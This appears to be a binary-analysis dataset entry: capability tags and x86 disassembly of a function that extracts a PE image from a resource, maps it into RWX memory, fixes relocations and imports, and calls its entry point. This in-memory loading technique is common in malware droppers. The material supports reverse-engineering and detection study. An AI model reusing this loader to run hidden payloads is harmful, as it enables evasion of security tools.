Function at 0x4077d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
mov eax, dword [0x4ae6e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x108], ecx
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x168], eax
mov edx, dword [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + 0x3c]
add edx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x108]
mov dword [eax + 0xc], edx
mov ecx, dword [ebp - 0x130]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x407895
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
cmp dword [ecx], 0x4550
je 0x407895
push 0x10
push 0x49c454
push 0x49c468
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x407df2
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0x50]
mov dword [ebp - 0x134], ecx
push 0x40
push 0x2000
mov edx, dword [ebp - 0x134]
push edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x108]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x108]
cmp dword [edx + 4], 0
jne 0x4078fc
push 0x40
push 0x2000
mov eax, dword [ebp - 0x134]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x108]
mov dword [ecx + 4], eax
push 0x40
push 0x1000
mov edx, dword [ebp - 0x134]
push edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0x54]
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0x3c]
mov dword [ebp - 0x170], ecx
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 4]
push edx
call fcn.004465d0
add esp, 0xc
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
add ecx, 0xf8
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0xc]
movzx ecx, word [eax + 6]
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x10c], 0
jmp 0x4079a1
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x140]
jge 0x407a7f
imul ecx, dword [ebp - 0x10c], 0x28
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x128]
add eax, dword [edx + ecx + 0x14]
mov dword [ebp - 0x15c], eax
imul ecx, dword [ebp - 0x10c], 0x28
mov edx, dword [ebp - 0x11c]
cmp dword [edx + ecx + 0x10], 0
jne 0x4079e6
jmp 0x407992
imul eax, dword [ebp - 0x10c], 0x28
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 4]
mov ecx, dword [ebp - 0x11c]
add edx, dword [ecx + eax + 0xc]
mov dword [ebp - 0x16c], edx
mov edx, dword [ebp - 0x140]
sub edx, 1
cmp dword [ebp - 0x10c], edx
jge 0x407a46
mov eax, dword [ebp - 0x10c]
add eax, 1
imul ecx, eax, 0x28
imul edx, dword [ebp - 0x10c], 0x28
mov eax, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x11c]
mov ecx, dword [eax + ecx + 0x14]
sub ecx, dword [esi + edx + 0x14]
mov dword [ebp - 0x138], ecx
jmp 0x407a5d
imul edx, dword [ebp - 0x10c], 0x28
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0x138], ecx
mov edx, dword [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x15c]
push eax
mov ecx, dword [ebp - 0x16c]
push ecx
call fcn.004465d0
add esp, 0xc
jmp 0x407992
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0xc]
mov ecx, 8
imul edx, ecx, 5
cmp dword [eax + edx + 0x78], 0
je 0x407bc4
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 4]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 0xc]
mov eax, 8
imul ecx, eax, 5
mov edx, dword [edx + ecx + 0x78]
mov eax, dword [ebp - 0x108]
add edx, dword [eax + 4]
mov dword [ebp - 0x114], edx
mov ecx, dword [ebp - 0x114]
cmp dword [ecx], 0
je 0x407bc4
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 4]
mov ecx, dword [ebp - 0x114]
add eax, dword [ecx]
mov dword [ebp - 0x154], eax
mov edx, dword [ebp - 0x114]
mov eax, dword [edx + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x14c], eax
jne 0x407b1b
jmp 0x407bc4
mov ecx, dword [ebp - 0x114]
add ecx, 8
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x120], 0
jmp 0x407b45
mov edx, dword [ebp - 0x120]
add edx, 1
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x14c]
jge 0x407baa
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x148]
movzx eax, word [edx + ecx*2]
and eax, 0xf000
cmp eax, 0x3000
je 0x407b71
jmp 0x407b36
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x148]
movzx eax, word [edx + ecx*2]
and eax, 0xfff
add eax, dword [ebp - 0x154]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x13c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x13c]
mov dword [eax], edx
jmp 0x407b36
mov ecx, dword [ebp - 0x114]
mov edx, dword [ebp - 0x114]
add edx, dword [ecx + 4]
mov dword [ebp - 0x114], edx
jmp 0x407ada
mov byte [ebp - 0x104], 0
push 0xff
push 0
lea eax, [ebp - 0x103]
push eax
call fcn.0043f9d0
add esp, 0xc
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 0xc]
mov eax, 8
shl eax, 0
cmp dword [edx + eax + 0x78], 0
je 0x407da7
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 0xc]
mov eax, 8
shl eax, 0
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx + 4]
add ecx, dword [edx + eax + 0x78]
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x110]
cmp dword [edx + 0xc], 0
je 0x407da7
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x108]
add ecx, dword [edx + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jne 0x407c9e
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x108]
add ecx, dword [edx + 4]
push ecx
push 0x49c488
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x10
push 0x49c4a0
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x407df2
mov edx, dword [ebp - 0x110]
mov eax, dword [edx + 0x10]
mov ecx, dword [ebp - 0x108]
add eax, dword [ecx + 4]
mov dword [ebp - 0x124], eax
mov edx, dword [ebp - 0x110]
cmp dword [edx], 0
je 0x407cd1
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov dword [ebp - 0x144], ecx
jmp 0x407ce0
mov edx, dword [ebp - 0x110]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x144]
add edx, dword [ecx + 4]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x118]
cmp dword [eax], 0
je 0x407d93
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
and edx, 0x800000
jne 0x407d4c
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x108]
add ecx, dword [edx + 4]
mov dword [ebp - 0x160], ecx
mov eax, dword [ebp - 0x160]
add eax, 2
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x124]
mov dword [edx], eax
jmp 0x407d70
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
xor ecx, 0x7fffff
push ecx
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x124]
mov dword [ecx], eax
mov edx, dword [ebp - 0x118]
add edx, 4
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x124]
add eax, 4
mov dword [ebp - 0x124], eax
jmp 0x407cf5
mov ecx, dword [ebp - 0x110]
add ecx, 0x14
mov dword [ebp - 0x110], ecx
jmp 0x407c21
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0x28]
mov edx, dword [ebp - 0x108]
add ecx, dword [edx + 4]
mov eax, dword [ebp - 0x108]
mov dword [eax + 0x10], ecx
push 0
push 1
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0x10]
call ecx
mov ecx, dword [ebp - 0x108]
call fcn.00407f70
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 4]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043c12e
mov esp, ebp
pop ebp
ret 0xc